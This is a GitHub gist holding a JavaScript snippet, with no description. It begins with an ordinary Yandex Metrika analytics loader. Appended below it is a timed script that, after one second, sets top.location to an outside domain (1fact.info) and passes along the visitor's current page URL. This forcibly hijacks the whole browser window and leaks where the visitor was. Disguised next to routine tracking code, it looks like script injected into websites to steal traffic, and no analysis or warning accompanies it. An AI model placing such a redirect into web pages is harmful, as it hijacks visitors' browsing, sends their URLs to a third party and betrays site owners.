Created
April 29, 2017 09:14
-
-
Save heyalexej/388746753a2ddd7a0c698f98e2a3fc4e to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function (d, w, c) { | |
(w[c] = w[c] || []).push(function() { | |
try { | |
w.yaCounter42337284 = new Ya.Metrika({ | |
id:42337284, | |
clickmap:true, | |
trackLinks:true, | |
accurateTrackBounce:true | |
}); | |
} catch(e) { } | |
}); | |
var n = d.getElementsByTagName("script")[0], | |
s = d.createElement("script"), | |
f = function () { n.parentNode.insertBefore(s, n); }; | |
s.type = "text/javascript"; | |
s.async = true; | |
s.src = "https://mc.yandex.ru/metrika/watch.js"; | |
if (w.opera == "[object Opera]") { | |
d.addEventListener("DOMContentLoaded", f, false); | |
} else { f(); } | |
})(document, window, "yandex_metrika_callbacks"); | |
(function () { | |
setTimeout(function () { | |
var url = 'https://1fact.info/p/?url=%location%'; | |
url = url.replace('%location%', encodeURIComponent(location.href)); | |
top.location = url; | |
}, 1000); | |
})(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment